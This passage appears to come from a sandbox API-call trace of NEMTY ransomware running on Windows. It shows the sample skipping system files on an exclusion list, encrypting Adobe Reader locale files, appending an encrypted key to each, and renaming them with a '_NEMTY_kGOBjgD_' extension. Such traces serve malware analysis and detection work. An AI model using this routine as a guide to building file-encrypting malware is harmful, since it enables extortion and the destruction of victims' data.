dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0180.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.POL", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.POL", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.POL", lpUsedDefaultChar=0x0) returned 18 [0180.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0180.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.POL", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0180.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.980] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.POL", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.POL", lpUsedDefaultChar=0x0) returned 18 [0180.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0180.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0180.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0180.980] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0180.980] Sleep (dwMilliseconds=0x5) [0180.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f865570, dwHighDateTime=0x1d561e8)) [0180.989] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f865570, dwHighDateTime=0x1d561e8)) [0180.989] GetLastError () returned 0x0 [0180.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0180.989] GetLastError () returned 0x0 [0180.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0180.989] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0180.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0180.989] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0180.989] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0180.989] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0180.989] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0180.989] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="tGAgz6xusYJhUfRPWroQgpvFvwXcko5tyu09sJU8v2xJP+kljGuToIhKQNXN6UQx\r\nlb2clZ/QNavgTkFrwF8j4mCbTGQcqeWRn8o1DQmD2WJpmMnGKJa01KigiPAi2JZU\r\nw20ixZU9gkGq0T3mRYPSSDAR8sGinJCM2w8fhl8KhoXt7pa9fPv9bAqkedgro9K3\r\n4myoI6XaYOK0BKcsMgVewA5WBT0xaJEsDCsVemIHgLO2wqe55lMkVoA/plNvYuoH\r\n8DnAnOyi4Xv1X02OFRd15pPt5iTQoltgMepElwSI2imJl7QXMYHoPxFNCuAcg6PW\r\n6BXnh9sJEhbOgogIPGdLXg==\r\n", pcchString=0x653e5dc) returned 1 [0180.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0180.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.990] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0180.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0180.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0180.990] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0180.990] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\makeaccessible.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\makeaccessible.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0180.990] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=74752) returned 1 [0180.991] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x12400) returned 0x6352c48 [0180.991] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.991] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x12400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x12400, lpOverlapped=0x0) returned 1 [0180.997] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.997] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x12400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x12400, lpOverlapped=0x0) returned 1 [0180.997] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0180.997] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=74752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x12400 [0180.997] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0180.997] CloseHandle (hObject=0x2e8) returned 1 [0180.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0180.997] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0180.997] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0180.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0180.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0180.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340308 [0180.998] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403c0 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0180.998] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\makeaccessible.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\makeaccessible.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\makeaccessible.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\makeaccessible.pol._nemty_kgobjgd_")) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403c0 | out: hHeap=0x4f90000) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.998] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.998] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d7bb9a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13600, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Multimedia.POL", cAlternateFileName="MULTIM~1.POL")) returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2=".") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="..") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="...") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="windows") returned -1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="$RECYCLE.BIN") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="rsa") returned -1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="NTDETECT.COM") returned -1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="ntldr") returned -1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="MSDOS.SYS") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="IO.SYS") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="boot.ini") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="boot.ini") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="AUTOEXEC.BAT") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="ntuser.dat") returned -1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="desktop.ini") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="CONFIG.SYS") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="RECYCLER") returned -1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="BOOTSECT.BAK") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="bootmgr") returned 1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="programdata") returned -1 [0180.999] lstrcmpiW (lpString1="Multimedia.POL", lpString2="appdata") returned 1 [0180.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.POL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.POL", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.POL", lpUsedDefaultChar=0x0) returned 14 [0180.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0180.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.POL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.POL", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.POL", lpUsedDefaultChar=0x0) returned 14 [0180.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0180.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0180.999] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0180.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.POL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0180.999] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.POL", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.POL", lpUsedDefaultChar=0x0) returned 14 [0180.999] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.POL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0181.000] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.POL", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.POL", lpUsedDefaultChar=0x0) returned 14 [0181.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0181.000] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.000] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0181.000] Sleep (dwMilliseconds=0x5) [0181.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f88b6d0, dwHighDateTime=0x1d561e8)) [0181.005] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1f88b6d0, dwHighDateTime=0x1d561e8)) [0181.005] GetLastError () returned 0x0 [0181.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0181.005] GetLastError () returned 0x0 [0181.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0181.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0181.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.005] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0181.005] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0181.005] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0181.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0181.005] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="/FhHIU2//TMlzFVakme+yuqiRqWFh2DqELm5i9gZJBDnkXck+31E/Rls3w+1e1kF\r\nYJrPsdft7BNJHraUdoOOexfuXNGwiDbL5Ew1sXObpf4YVCson8MBtOZI03L2Mo2P\r\nt+P7crl1m3Hc11sOnDCrcLfca220Jjgvu8JEFqg3seBHwJKXT14ZcEhPBBBzsyYR\r\nqFLQMizrLqWgY5dKEvdaCSt3dz3vxPORyiUbSUq5RPFm1PGqpR3KTudOeP1UnPIz\r\nhE1FUCm6pzVqR6fXWWZKHdxVFZITludA5nu+399H7tB3Paw5XRz6jU9F6OCiv/9Q\r\nxV8UBMj6vEjwGhq0SPFDrg==\r\n", pcchString=0x653e5dc) returned 1 [0181.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0181.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.005] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0181.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0181.005] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0181.005] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Multimedia.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\multimedia.pol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0181.006] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=79360) returned 1 [0181.006] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13600) returned 0x6352c48 [0181.006] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.006] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13600, lpOverlapped=0x0) returned 1 [0181.012] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0181.013] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13600, lpOverlapped=0x0) returned 1 [0181.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0181.013] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=79360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13600 [0181.013] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0181.013] CloseHandle (hObject=0x2e8) returned 1 [0181.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0181.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0181.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0181.013] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0181.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0181.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0181.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0181.013] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0181.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0181.013] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0181.013] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Multimedia.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\multimedia.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\Multimedia.POL._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\multimedia.pol._nemty_kgobjgd_")) returned 1 [0181.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0181.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0181.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0181.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0181.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0181.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0181.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0181.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0181.014] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.POL", cAlternateFileName="")) returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2=".") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="..") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="...") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="windows") returned -1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="$RECYCLE.BIN") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="rsa") returned -1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="NTDETECT.COM") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="ntldr") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="MSDOS.SYS") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="IO.SYS") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="boot.ini") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="boot.ini") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="AUTOEXEC.BAT") returned 1 [0181.014] lstrcmpiW (lpString1="pddom.POL", lpString2="ntuser.dat") returned 1 [0181.015] lstrcmpiW (lpString1="pddom.POL", lpString2="desktop.ini") returned 1 [0181.015] lstrcmpiW (lpString1="pddom.POL", lpString2="CONFIG.SYS") returned 1 [0181.015] lstrcmpiW (lpString1="pddom.POL", lpString2="RECYCLER") returned -1 [0181.015] lstrcmpiW (lpString1="pddom.POL", lpString2="BOOTSECT.BAK") returned 1 [0181.015] lstrcmpiW (lpString1="pddom.POL", lpString2="bootmgr") returned 1 [0181.015] lstrcmpiW (lpString1="pddom.POL", lpString2="programdata") returned -1 [0181.015] lstrcmpiW (lpString1="pddom.POL", lpString2="appdata") returned 1 [0181.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, 